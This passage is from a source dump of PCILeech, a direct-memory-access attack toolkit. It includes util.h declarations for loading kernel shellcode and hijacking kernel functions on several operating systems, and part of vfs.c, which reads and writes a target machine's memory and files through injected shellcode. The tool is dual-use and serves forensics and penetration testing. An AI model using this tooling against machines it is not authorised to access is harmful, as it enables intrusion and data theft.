_Out_opt_ PQWORD pqwPDPTE, _Out_opt_ PQWORD pqwPML4E);\n\n/*\n* Walk the page table to translate a virtual address into a physical.\n* -- qwCR3 = the physical address of PML4.\n* -- qwVA = the virtual address.\n* -- pqwPA = ptr to receive physical address.\n* -- pqwPageBase = ptr to receive the page base of the physical address.\n* -- pqwPageSize = ptr to receive size of physical page in bytes.\n* -- return\n*/\n_Success_(return)\nBOOL Util_PageTable_Virtual2Physical(_In_ QWORD qwCR3, _In_ QWORD qwVA, _Out_ PQWORD pqwPA, _Out_ PQWORD pqwPageBase, _Out_ PQWORD pqwPageSize);\n\n/*\n* Load KMD and Unlock signatures.\n* -- szSignatureName\n* -- szFileExtension\n* -- pSignatures = ptr to receive the signatures.\n* -- cSignatures = max # of signatures referenced by pSignatures ptr.\n* -- cSignatureChunks = # of chunks in signature lines to parse.\n* -- return\n*/\n_Success_(return)\nBOOL Util_LoadSignatures(_In_ LPSTR szSignatureName, _In_ LPSTR szFileExtension, _Out_ PSIGNATURE pSignatures, _Inout_ PDWORD cSignatures, _In_ DWORD cSignatureChunks);\n\n/*\n* Retrieve the full file path to the file name specified. Path is relative to\n* directory of running executable.\n* -- szPath = buffer to receive the full path result.\n* -- szFileName = a file name in the current directory.\n*/\nVOID Util_GetFileInDirectory(_Out_writes_(MAX_PATH) LPSTR szPath, _In_ LPSTR szFileName);\n\n/*\n* Create a SHA256 hash\n* -- pb = the data to hash\n* -- cb = length of data to hash\n* -- pbHash = 32 byte buffer to receive the SHA256 hash\n*/\nVOID Util_SHA256(_In_ PBYTE pb, _In_ DWORD cb, _Out_ __bcount(32) PBYTE pbHash);\n\n/*\n* Return the index+1 of the 1st character that differes between buffers.\n* If buffers are equal 0 is returned.\n*/\nDWORD Util_memcmpEx(_In_ PBYTE pb1, _In_ PBYTE pb2, _In_ DWORD cb);\n\n/*\n* Simple random number function.\n* -- pb = buffer to receive random data.\n* -- cb = length of random data to create.\n*/\nVOID Util_GenRandom(_Out_ PBYTE pb, _In_ DWORD cb);\n\n/*\n* Load a kernel shellcode file (used in conjunction with the execshellcode cmd.\n* NB! verification of the shellcode file is a bit lax - code execution within\n* pcileech is probably possible - but is not considered an issue.\n* -- szKmdExecName = name of module to load without file name suffix.\n* -- pKmdExec = function will allocate and return a valid ptr to KMDEXEC struct\n*    on success. Caller is responsible to call LocalFree.\n* -- return\n*/\n_Success_(return)\nBOOL Util_LoadKmdExecShellcode(_In_ LPSTR szKmdExecName, _Out_ PKMDEXEC* ppKmdExec);\n\n/*\n* Retrieve the file size of the file. If the file isn't found 0 is returned.\n* -- sz = file to retrieve size of.\n* -- return = file size, or 0 on fail.\n*/\nDWORD Util_GetFileSize(_In_ LPSTR sz);\n\n/*\n* Parse an input line consisting of either builtin, hexascii or file name to\n* data buffer.\n*/\n_Success_(return)\nBOOL Util_ParseHexFileBuiltin(_In_ LPSTR sz, _Out_writes_(*pcb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcb);\n\n/*\n* Parse a string returning the QWORD representing the string. The string may\n* consist of a decimal or hexadecimal integer string. Hexadecimals must begin\n* with 0x.\n* -- sz\n* -- return\n*/\nQWORD Util_GetNumeric(_In_ LPSTR sz);\n\n/*\n* \"Create\" a static signature for Linux given the supplied parameters. The\n* function formats the paramerters and put them into the supplied pSignature.\n* This will only work for kernels prior to 4.8.\n* -- paBase = memory physical offset to paSzKallsyms\n* -- paSzKallsyms = physical offset (from base) to 'kallsyms_lookup_name' text string.\n* -- vaSzKallsyms = virtual address of 'kallsyms_lookup_name' text string.\n* -- vaFnKallsyms = virtual address of 'kallsyms_lookup_name' function.\n* -- paSzFnHijack = physical offset (from base) to 'function to hijack' text string.\n* -- vaSzFnHijack = virtual address text string 'of function to hijack' test string.\n* -- vaFnHijack = virtual address of function to hijack.\n* -- pSignature = ptr to signature struct to place the result in.\n*/\nVOID Util_CreateSignatureLinuxGeneric(_In_ QWORD paBase,\n    _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms,\n    _In_ DWORD paSzFnHijack, _In_ QWORD vaSzFnHijack, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature);\n/*\n* \"Create\" a static signature for FreeBSD given the supplied parameters. The\n* function formats the paramerters and put them into the supplied pSignature.\n* -- paStrTab = physical address of the strtab found.\n* -- paFnHijack = physical address of the function to hijack.\n* -- pSignature = ptr to signature struct to place the result in.\n*/\nVOID Util_CreateSignatureFreeBSDGeneric(_In_ DWORD paStrTab, _In_ DWORD paFnHijack, _Out_ PSIGNATURE pSignature);\n\n/*\n* \"Create\" a static signature for MacOS given the supplied parameters. The\n* function formats the paramerters and put them into the supplied pSignature.\n* -- paKernelBase = memory physical address of kernel macho-o header.\n* -- paFunctionHook = memory physical address of the hook function.\n* -- paStage2 = memory physical address where to place the stage2 shellcode.\n* -- pSignature = ptr to signature struct to place the result in.\n*/\nVOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunctionHook, _In_ DWORD paStage2, _Out_ PSIGNATURE pSignature);\n\n\n/*\n* Load the stage2 and stage3 code for the Hal.dll injection technique into\n* the supplied signature.\n* -- pSignature = ptr to signature struct to place the result in.\n*/\nVOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature);\n\n/*\n* Load the stage2 and stage3 code for the EFI Runtime Sertives hijack technique\n* into the supplied signature.\n* -- pSignature = ptr to signature struct to place the result in.\n*/\nVOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature);\n\n/*\n* Create a search signature that searches all memory for the signature given in\n* the supplied pb and cb parameters.\n* -- pb = signature.\n* -- cb\n* -- pSignature = ptr to signature struct to place the result in.\n*/\nVOID Util_CreateSignatureSearchAll(_In_ PBYTE pb, _In_ DWORD cb, _Out_ PSIGNATURE pSignature);\n\n/*\n* Read a 16MB data chunk from the target and place it in the pbBuffer16M buffer.\n* Any data that failed to read within the 16MB buffer is set to zero.\n* -- pbBuffer16M = the already allocated 16MB buffer to place the content in.\n* -- qwBaseAddress = the base address to start reading from.\n* -- pPageStat = statistics struct to update on progress (pages success/fail).\n* -- return = TRUE if at least one 4k page could be read; FALSE if all pages failed.\n*/\n_Success_(return)\nBOOL Util_Read16M(_Out_writes_(0x01000000) PBYTE pbBuffer16M, _In_ QWORD qwBaseAddress, _In_opt_ PPAGE_STATISTICS pPageStat);\n\n/*\n* Wait for the connected PCILeech device to be power cycled. This function will\n* sleep until a power cycle event is detected on the connected PCILeech device.\n* The connected device needs to first be powered down and then powered up before\n* this function will exit.\n*/\nVOID Util_WaitForPowerCycle();\n\n/*\n* Wait for a PCILeech device to be powered on and for it to complete a dummy\n* memory read. The pDeviceData will be initialized upon success - in which\n* the function will exit.\n*/\nVOID Util_WaitForPowerOn();\n\n/*\n* Print a maximum of 8192 bytes of binary data as hexascii on the screen.\n* -- pb\n* -- cb\n* -- cbInitialOffset = offset, must be max 0x1000 and multiple of 0x10.\n*/\nVOID Util_PrintHexAscii(_In_ PBYTE pb, _In_ DWORD cb, _In_ DWORD cbInitialOffset);\n\n/*\n* Filter away (replace with '?') potentially harmful characters from an ascii\n* string / text.\n* -- pb\n* -- cb\n*/\nVOID Util_AsciiFilter(_In_reads_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Split a string into two at the first 'chSplit' character. If no 2nd string\n* is found then it's returned as null character '\\0' (i.e. not as NULL).\n* -- sz = the original string to split (of maximum MAX_PATH length)\n* -- chSplit = the delimiter character to split on.\n* -- _szBuf = MAX_PATH sized buffer that will be overwritten and used throughout the lifetime of psz1/psz2 outputs.\n* -- psz1\n* -- psz2\n*/\nVOID Util_SplitString2(_In_ LPSTR sz, _In_ CHAR chSplit, _Out_writes_(MAX_PATH) PCHAR _szBuf, _Out_ LPSTR *psz1, _Out_ LPSTR *psz2);\n\n/*\n* Return the path of the executable (not including the executable).\n* -- szPath\n*/\nVOID Util_GetPathExe(_Out_writes_(MAX_PATH) PCHAR szPath);\n\n#endif /* __UTIL_H__ */\n"
  },
  {
    "path": "pcileech/version.h",
    "content": "#define STRINGIZE2(s) #s\n#define STRINGIZE(s) STRINGIZE2(s)\n\n#define VERSION_MAJOR               4\n#define VERSION_MINOR               19\n#define VERSION_REVISION            5\n#define VERSION_BUILD               63\n\n#define VER_FILE_DESCRIPTION_STR    \"The PCILeech Direct Memory Access Attack Toolkit\"\n#define VER_FILE_VERSION            VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD\n#define VER_FILE_VERSION_STR        STRINGIZE(VERSION_MAJOR)        \\\n                                    \".\" STRINGIZE(VERSION_MINOR)    \\\n                                    \".\" STRINGIZE(VERSION_REVISION) \\\n                                    \".\" STRINGIZE(VERSION_BUILD)    \\\n\n#define VER_COMPANY_NAME_STR        \"\"\n#define VER_PRODUCTNAME_STR         \"PCILeech\"\n#define VER_PRODUCT_VERSION         VER_FILE_VERSION\n#define VER_PRODUCT_VERSION_STR     VER_FILE_VERSION_STR\n#define VER_ORIGINAL_FILENAME_STR   VER_PRODUCTNAME_STR \".exe\"\n#define VER_INTERNAL_NAME_STR       VER_ORIGINAL_FILENAME_STR\n#define VER_COPYRIGHT_STR           \"Copyright (c) Ulf Frisk 2016-2026\"\n"
  },
  {
    "path": "pcileech/vfs.c",
    "content": "// vfs.c : implementation of functions related to virtual file system support.\n//\n// (c) Ulf Frisk, 2017-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"vfs.h\"\n#include \"vfslist.h\"\n#include \"device.h\"\n#include \"executor.h\"\n#include \"charutil.h\"\n#include \"util.h\"\n#include <vmmdll.h>\n\n#ifdef WIN32\n#pragma warning( push )  \n#pragma warning( disable : 4005 )   \n#include <dokan.h>\n#pragma warning( pop )\n#endif /* WIN32 */\n#if defined(LINUX) || defined(MACOS)\n#define FUSE_USE_VERSION 30\n#include <fuse.h>\n#include \"oscompatibility.h\"\n#endif /* LINUX || LINUX */\n\n\n\n//-------------------------------------------------------------------------------\n// Defines and Typedefs (shared with shellcode) below:\n//-------------------------------------------------------------------------------\n\n#define VFS_OP_MAGIC                    0x79e720ad93aa130f\n#define VFS_OP_CMD_LIST_DIRECTORY       1\n#define VFS_OP_CMD_WRITE                2\n#define VFS_OP_CMD_READ                 3\n#define VFS_OP_CMD_CREATE               4\n#define VFS_OP_CMD_DELETE               5\n#define VFS_OP_CMD_LIST_DRIVES          6\n\ntypedef struct tdVFS_OPERATION {\n    QWORD magic;\n    QWORD op;\n    QWORD flags;\n    CHAR szFileName[MAX_PATH];\n    WCHAR wszFileName[MAX_PATH];\n    QWORD offset;\n    QWORD cb;\n    BYTE pb[];\n} VFS_OPERATION, *PVFS_OPERATION;\n\ntypedef struct tdVFS_GLOBAL_STATE {\n    QWORD cbKmd;\n    QWORD cbNative;\n    CRITICAL_SECTION Lock;\n    QWORD PCILeechOperatingSystem;\n    CHAR szNameVfsShellcode[32];\n    // dokan only below:\n    FILETIME ftDefaultTime;\n    NTSTATUS(*DokanNtStatusFromWin32)(DWORD Error);\n} VFS_GLOBAL_STATE, *PVFS_GLOBAL_STATE;\n\nstatic PVFS_GLOBAL_STATE g_vfs = NULL;\n\n/*\n* Helper function to initialize a file operation\n* -- pop\n* -- qwOperation = VFS_OP_CMD_*\n* -- uszPath = full path incl. file name starting with '\\files\\'\n* -- return\n*/\n_Success_(return)\nBOOL VfsInitOperation(_Out_ PVFS_OPERATION pop, _In_ QWORD qwOperation, _In_ LPSTR uszPath)\n{\n    DWORD o;\n    ZeroMemory(pop, sizeof(VFS_OPERATION));\n    pop->magic = VFS_OP_MAGIC;\n    pop->op = qwOperation;\n    if(g_vfs->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_WINDOWS) {\n        if(uszPath[0] == '\\\\' && ((uszPath[1] >= 'a' && uszPath[1] <= 'z') || (uszPath[1] >= 'A' && uszPath[1] <= 'Z'))) {\n            CharUtil_UtoW(\"\\\\??\\\\C:\\\\\", -1, (PBYTE)pop->wszFileName, sizeof(pop->wszFileName), NULL, NULL, CHARUTIL_FLAG_STR_BUFONLY);\n            pop->wszFileName[4] = uszPath[1];\n            if(uszPath[2] == '\\\\') {\n                CharUtil_UtoW(uszPath + 3, -1, (PBYTE)pop->wszFileName + 14, sizeof(pop->wszFileName) - 16, NULL, NULL, CHARUTIL_FLAG_STR_BUFONLY | CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR);\n            }\n            pop->flags = VFS_FLAGS_UNICODE;\n            return TRUE;\n        }\n    } else {\n        pop->szFileName[0] = '/';\n        o = (uszPath[0] == '\\\\') ? 0 : 1;\n        CharUtil_UtoU(uszPath, -1, (PBYTE)pop->szFileName + o, (DWORD)sizeof(pop->szFileName) - o, NULL, NULL, CHARUTIL_FLAG_STR_BUFONLY | CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR);\n        CharUtil_ReplaceAllA(pop->szFileName, '\\\\', '/');\n        return TRUE;\n    }\n    return FALSE;\n}\n\nVOID VfsListDirectory(_In_ LPSTR uszPath, _Inout_ PVMMDLL_VFS_FILELIST2 pFileList)\n{\n    BOOL fResult;\n    VFS_OPERATION op = { 0 };\n    PVFS_RESULT_FILEINFO pe, pfi = NULL;\n    PBYTE pbAllDrive = NULL;\n    CHAR szDrive[] = { '-' , 0 };\n    QWORD i, cfi, cbfi, cbAllDrive = 0;\n    VMMDLL_VFS_FILELIST_EXINFO eExInfo = { 0 };\n    LPSTR uszResult;\n    BYTE pbBuffer[3 * MAX_PATH];\n    // sanity check:\n    if(_strnicmp(uszPath, \"\\\\files\", 6)) { return; }\n    uszPath += 6;\n    // initialize vfs operation:\n    if((g_vfs->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_WINDOWS) && (!uszPath[0] || !uszPath[1])) {\n        // list windows target drive letters:\n        VfsInitOperation(&op, VFS_OP_CMD_LIST_DRIVES, \"\");\n        EnterCriticalSection(&g_vfs->Lock);\n        fResult = Exec_ExecSilent(g_vfs->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), &pbAllDrive, &cbAllDrive);\n        LeaveCriticalSection(&g_vfs->Lock);\n        if(fResult && pbAllDrive && (cbAllDrive == 26)) {\n            for(i = 0; i < cbAllDrive; i++) {\n                szDrive[0] = pbAllDrive[i];\n                if((szDrive[0] >= 'a') && (szDrive[0] <= 'z')) {\n                    pFileList->pfnAddDirectory(pFileList->h, szDrive, NULL);\n                }\n            }\n        }\n        LocalFree(pbAllDrive);\n        return;\n    }\n    VfsInitOperation(&op, VFS_OP_CMD_LIST_DIRECTORY, uszPath);\n    // perform operation:\n    EnterCriticalSection(&g_vfs->Lock);\n    fResult = Exec_ExecSilent(g_vfs->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), (PBYTE*)&pfi, &cbfi);\n    LeaveCriticalSection(&g_vfs->Lock);\n    if(!fResult) { return; }\n    // interprete result:\n    eExInfo.dwVersion = VMMDLL_VFS_FILELIST_EXINFO_VERSION;\n    cfi = cbfi / sizeof(VFS_RESULT_FILEINFO);\n    for(i = 0; i < cfi; i++) {\n        pe = pfi + i;\n        if(CharUtil_WtoU(pe->wszFileName, -1, pbBuffer, sizeof(pbBuffer), &uszResult, NULL, 0)) {\n            eExInfo.qwCreationTime = pfi->tCreateOpt;\n            eExInfo.qwLastAccessTime = pfi->tAccessOpt;\n            eExInfo.qwLastWriteTime = pfi->tModifyOpt;\n            if(pe->flags & VFS_FLAGS_FILE_DIRECTORY) {\n                pFileList->pfnAddDirectory(pFileList->h, uszResult, &eExInfo);\n            } else {\n                pFileList->pfnAddFile(pFileList->h, uszResult, pe->cb, &eExInfo);\n            }\n        }\n    }\n    LocalFree(pfi);\n}\n\nBOOL VfsListU(_In_ LPSTR uszPath, _Inout_ PVMMDLL_VFS_FILELIST2 pFileList)\n{\n    // root directory:\n    if(!strcmp(uszPath, \"\\\\\")) {\n        if(g_vfs->cbNative) {\n            pFileList->pfnAddFile(pFileList->h, \"liveram-native.raw\", g_vfs->cbNative, NULL);\n        }\n        if(g_vfs->cbKmd) {\n            pFileList->pfnAddFile(pFileList->h, \"liveram-kmd.raw\", g_vfs->cbKmd, NULL);\n            pFileList->pfnAddDirectory(pFileList->h, \"files\", NULL);\n        }\n    }\n    // files directory:\n    if(!_strnicmp(uszPath, \"\\\\files\", 6) && g_vfs->cbKmd) {\n        VfsListDirectory(uszPath, pFileList);\n    }\n    return TRUE;\n}\n\nBOOL VfsIsBlackList(_In_ LPSTR uszPathFull)\n{\n    if(g_vfs->PCILeechOperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {\n        return !strncmp(uszPathFull, \"\\\\dev\\\\watchdog\", 13);\n    }\n    return FALSE;\n}\n\nNTSTATUS VfsReadFile(_In_ LPSTR uszPathFull, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ QWORD cbOffset)\n{\n    BOOL result;\n    VFS_OPERATION op;\n    PBYTE pbBufferDma = NULL;\n    QWORD cbBufferDma;\n    QWORD qwBaseOffset, qwBase, qwSize;\n    if(VfsIsBlackList(uszPathFull)) { return STATUS_ACCESS_DENIED; }\n    *pcbRead = cb;\n    result = VfsInitOperation(&op, VFS_OP_CMD_READ, uszPathFull);\n    if(!result) { return STATUS_DATA_ERROR; }\n    qwBaseOffset = cbOffset % 0x00100000; // 1MB\n    qwBase = cbOffset - qwBaseOffset;\n    qwSize = (cb + qwBaseOffset + 0x1fffff) & ~0x1fffff;\n    op.offset = qwBase;\n    op.cb = qwSize;\n    EnterCriticalSection(&g_vfs->Lock);\n    // TODO OP FIXES!\n    result = Exec_ExecSilent(g_vfs->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), &pbBufferDma, &cbBufferDma);\n    LeaveCriticalSection(&g_vfs->Lock);\n    if(result && (qwBaseOffset <= cbBufferDma)) {\n        *pcbRead = (DWORD)min(*pcbRead, cbBufferDma - qwBaseOffset);\n        memcpy(pb, pbBufferDma + qwBaseOffset, *pcbRead);\n        LocalFree(pbBufferDma);\n        return STATUS_SUCCESS;\n    }\n    return STATUS_DATA_ERROR;\n}\n\nNTSTATUS VfsReadMemory(_In_ BOOL fKMD, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ QWORD cbOffset)\n{\n    BOOL result = FALSE;\n    QWORD cbRead2, cbMaxMemorySize, qwCfgAddrMaxOrig;\n    cbMaxMemorySize = fKMD ? g_vfs->cbKmd : g_vfs->cbNative;\n    if(cbOffset >= cbMaxMemorySize) {\n        *pcbRead = 0;\n        return STATUS_FILE_INVALID;\n    }\n    *pcbRead = (DWORD)min(cb, cbMaxMemorySize - cbOffset);\n    if(fKMD) {\n        qwCfgAddrMaxOrig = ctxMain->cfg.paAddrMax;    // TODO: REMOVE UGLY HACK WITH ADDRMAX...\n        EnterCriticalSection(&g_vfs->Lock);\n        if(!DeviceReadMEM(cbOffset, *pcbRead, pb, TRUE)) {\n            ZeroMemory(pb, *pcbRead);\n        }\n        LeaveCriticalSection(&g_vfs->Lock);\n        ctxMain->cfg.paAddrMax = qwCfgAddrMaxOrig;\n    } else {\n        cbRead2 = DeviceReadDMA(cbOffset, *pcbRead, pb, NULL);\n        if(cbRead2 < *pcbRead) {\n            ZeroMemory(pb + cbRead2, *pcbRead - cbRead2);\n        }\n    }\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS VfsRead(_In_ LPSTR uszPathFull, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ QWORD cbOffset)\n{\n    if(!_stricmp(uszPathFull, \"\\\\liveram-kmd.raw\") && g_vfs->cbKmd) { // kernel module backed RAM file\n        return VfsReadMemory(TRUE, pb, cb, pcbRead, cbOffset);\n    }\n    if(!_stricmp(uszPathFull, \"\\\\liveram-native.raw\") && g_vfs->cbNative) { // native backed RAM file\n        return VfsReadMemory(FALSE, pb, cb, pcbRead, cbOffset);\n    }\n    if(!_strnicmp(uszPathFull, \"\\\\files\\\\\", 7) && g_vfs->cbKmd) {\n        return VfsReadFile(uszPathFull + 6, pb, cb, pcbRead, cbOffset);\n    }\n    return STATUS_FILE_INVALID;\n}\n\nNTSTATUS VfsWriteFile(_In_ BOOL fAppend, _In_ LPSTR uszPathFull, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ QWORD cbOffset)\n{\n    PVFS_OPERATION pop = NULL;\n    if(VfsIsBlackList(uszPathFull)) { return STATUS_ACCESS_DENIED; }\n    pop = (PVFS_OPERATION)LocalAlloc(LMEM_ZEROINIT, sizeof(VFS_OPERATION) + cb);\n    if(!pop) { return STATUS_MEMORY_NOT_ALLOCATED; }\n    if(!VfsInitOperation(pop, VFS_OP_CMD_WRITE, uszPathFull)) { return STATUS_DATA_ERROR; }\n    if(fAppend) {\n        pop->flags |= VFS_FLAGS_APPEND_ON_WRITE;\n    }\n    if(0 == cbOffset) {\n        // TODO: find when to truncate and when not to... if 0th byte is written file is truncated now...\n        pop->flags |= VFS_FLAGS_TRUNCATE_ON_WRITE;\n    }\n    memcpy(pop->pb, pb, cb);\n    pop->offset = cbOffset;\n    pop->cb = cb;\n    EnterCriticalSection(&g_vfs->Lock);\n    Exec_ExecSilent(g_vfs->szNameVfsShellcode, (PBYTE)pop, sizeof(VFS_OPERATION) + cb, NULL, NULL);\n    LeaveCriticalSection(&g_vfs->Lock);\n    VfsList_Clear(uszPathFull);\n    *pcbWrite = cb;\n    LocalFree(pop);\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS VfsWriteMemory(_In_ BOOL fKMD, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset)\n{\n    BOOL result;\n    if(fKMD) {  // kernel module backed RAM file\n        EnterCriticalSection(&g_vfs->Lock);\n        result = DeviceWriteMEM(cbOffset, cb, pb, TRUE);\n        LeaveCriticalSection(&g_vfs->Lock);\n    } else {    // native DMA backed RAM file\n        result = LcWrite(ctxMain->hLC, cbOffset, cb, pb);\n    }\n    *pcbWrite = cb;\n    return result ? STATUS_SUCCESS : STATUS_FILE_SYSTEM_LIMITATION;\n}\n\nNTSTATUS VfsWrite(_In_ BOOL fAppend, _In_ LPSTR uszPathFull, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset)\n{\n    if(!_stricmp(uszPathFull, \"\\\\liveram-kmd.raw\") && g_vfs->cbKmd) { // kernel module backed RAM file\n        return VfsWriteMemory(TRUE, pb, cb, pcbWrite, cbOffset);\n    }\n    if(!_stricmp(uszPathFull, \"\\\\liveram-native.raw\") && g_vfs->cbNative) { // native backed RAM file\n        return VfsWriteMemory(FALSE, pb, cb, pcbWrite, cbOffset);\n    }\n    if(!_strnicmp(uszPathFull, \"\\\\files\\\\\", 7) && g_vfs->cbKmd) {\n        return VfsWriteFile(fAppend, uszPathFull + 6, pb, cb, pcbWrite, cbOffset);\n    }\n    return STATUS_FILE_INVALID;\n}\n\nVOID VfsDelete(_In_ LPSTR uszPathFull)\n{\n    VFS_OPERATION op;\n    if(!_strnicmp(uszPathFull, \"\\\\files\\\\\", 7)) {\n        if(!VfsInitOperation(&op, VFS_OP_CMD_DELETE, uszPathFull + 6)) { return; }\n        EnterCriticalSection(&g_vfs->Lock);\n        Exec_ExecSilent(g_vfs->szNameVfsShellcode, (PBYTE)&op, sizeof(VFS_OPERATION), NULL, NULL);\n        LeaveCriticalSection(&g_vfs->Lock);\n        VfsList_Clear(uszPathFull);\n    }\n}\n\n\n\n#ifdef _WIN32\n\n//-------------------------------------------------------------------------------\n// WINDOWS-ONLY functions including DOKAN CALLBACK functions.\n//-------------------------------------------------------------------------------\n\nNTSTATUS\nVfsDokanCallback_CreateFile_Impl(_In_ LPSTR uszFullPath, PDOKAN_IO_SECURITY_CONTEXT SecurityContext, ACCESS_MASK DesiredAccess, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PDOKAN_FILE_INFO DokanFileInfo)\n{\n    VFS_ENTRY VfsEntry;\n    CHAR uszPath[MAX_PATH];\n    LPSTR uszFile;\n    BOOL fIsDirectoryExisting = FALSE;\n    UNREFERENCED_PARAMETER(SecurityContext);\n    UNREFERENCED_PARAMETER(FileAttributes);\n    // root directory\n    if(!strcmp(uszFullPath, \"\\\\\")) {\n        if(CreateDisposition == CREATE_ALWAYS) { return g_vfs->DokanNtStatusFromWin32(ERROR_ACCESS_DENIED); }\n        DokanFileInfo->IsDirectory = TRUE;\n        return STATUS_SUCCESS;\n    }\n    // other files\n    if(CreateDisposition == CREATE_ALWAYS) { return g_vfs->DokanNtStatusFromWin32(ERROR_ACCESS_DENIED); }\n    uszFile = CharUtil_PathSplitLastEx(uszFullPath, uszPath, sizeof(uszPath));\n    if(!VfsList_GetSingle(uszPath[0] ? uszPath : \"\\\\\", uszFile, &VfsEntry, &fIsDirectoryExisting)) {\n        return fIsDirectoryExisting ? STATUS_OBJECT_NAME_NOT_FOUND : STATUS_OBJECT_PATH_NOT_FOUND;\n    }\n    DokanFileInfo->Nocache = TRUE;\n    if(!DokanFileInfo->IsDirectory && (CreateOptions & FILE_DIRECTORY_FILE)) { return STATUS_NOT_A_DIRECTORY; }     // fail upon open normal file as directory\n    return (CreateDisposition == OPEN_ALWAYS) ? STATUS_OBJECT_NAME_COLLISION : STATUS_SUCCESS;\n}\n\nNTSTATUS DOKAN_CALLBACK\nVfsDokanCallback_CreateFile(LPCWSTR FileName, PDOKAN_IO_SECURITY_CONTEXT SecurityContext, ACCESS_MASK DesiredAccess, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PDOKAN_FILE_INFO DokanFileInfo)\n{\n    LPSTR uszPathFull;\n    BYTE pbBuffer[3 * MAX_PATH];\n    if(!CharUtil_WtoU((LPWSTR)FileName, -1, pbBuffer, sizeof(pbBuffer), &uszPathFull, NULL, 0)) { return STATUS_OBJECT_NAME_NOT_FOUND; }\n    return VfsDokanCallback_CreateFile_Impl(uszPathFull, SecurityContext, DesiredAccess, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, DokanFileInfo);\n}\n\nNTSTATUS DOKAN_CALLBACK\nVfsDokanCallback_GetFileInformation_Impl(_In_ LPSTR uszFullPath, _Inout_ LPBY_HANDLE_FILE_INFORMATION hfi, _In_ PDOKAN_FILE_INFO DokanFileInfo)\n{\n    VFS_ENTRY VfsEntry;\n    CHAR uszPath[MAX_PATH];\n    LPSTR uszFile;\n    BOOL fIsDirectoryExisting = FALSE;\n    // matches: root directory\n    if(!strcmp(uszFullPath, \"\\\\\")) {\n        hfi->ftCreationTime = g_vfs->ftDefaultTime;\n        hfi->ftLastWriteTime = g_vfs->ftDefaultTime;\n        hfi->ftLastAccessTime = g_vfs->ftDefaultTime;\n        hfi->nFileSizeHigh = 0;\n        hfi->nFileSizeLow = 0;\n        hfi->dwFileAttributes = FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_NOT_CONTENT_INDEXED;\n        return STATUS_SUCCESS;\n    }\n    uszFile = CharUtil_PathSplitLastEx(uszFullPath, uszPath, sizeof(uszPath));\n\n    if(!VfsList_GetSingle((uszPath[0] ? uszPath : \"\\\\\"), uszFile, &VfsEntry, &fIsDirectoryExisting)) {\n        return STATUS_FILE_NOT_AVAILABLE;\n    }\n    hfi->dwFileAttributes = VfsEntry.dwFileAttributes;\n    hfi->ftCreationTime = VfsEntry.ftCreationTime;\n    hfi->ftLastAccessTime = VfsEntry.ftLastAccessTime;\n    hfi->ftLastWriteTime = VfsEntry.ftLastWriteTime;\n    hfi->nFileSizeHigh = (DWORD)(VfsEntry.cbFileSize >> 32);\n    hfi->nFileSizeLow = (DWORD)(VfsEntry.cbFileSize);\n    hfi->nFileIndexHigh = CharUtil_Hash32U(uszFullPath, TRUE);\n    hfi->nFileIndexLow = CharUtil_Hash32U(VfsEntry.uszName, TRUE);\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS DOKAN_CALLBACK\nVfsDokanCallback_GetFileInformation(_In_ LPCWSTR wcsFileName, _Inout_ LPBY_HANDLE_FILE_INFORMATION hfi, _In_ PDOKAN_FILE_INFO DokanFileInfo)\n{\n    LPSTR uszPathFull;\n    BYTE pbBuffer[3 * MAX_PATH];\n    if(!CharUtil_WtoU((LPWSTR)wcsFileName, -1, pbBuffer, sizeof(pbBuffer), &uszPathFull, NULL, 0)) { return STATUS_FILE_INVALID; }\n    return VfsDokanCallback_GetFileInformation_Impl(uszPathFull, hfi, DokanFileInfo);\n}\n\nNTSTATUS DOKAN_CALLBACK\nVfsDokanCallback_FindFiles(LPCWSTR wcsFileName, PFillFindData FillFindData, PDOKAN_FILE_INFO DokanFileInfo)\n{\n    VfsList_ListDirectoryW((LPWSTR)wcsFileName, DokanFileInfo, (PFN_VFSLISTW_CALLBACK)FillFindData);\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS DOKAN_CALLBACK\nVfsDokanCallback_ReadFile(LPCWSTR wcsFileName, LPVOID Buffer, DWORD BufferLength, LPDWORD ReadLength, LONGLONG Offset, PDOKAN_FILE_INFO DokanFileInfo)\n{\n    LPSTR uszPathFull;\n    BYTE pbBuffer[3 * MAX_PATH];\n    if(!CharUtil_WtoU((LPWSTR)wcsFileName, -1, pbBuffer, sizeof(pbBuffer), &uszPathFull, NULL, 0)) { return STATUS_FILE_INVALID; }\n    return 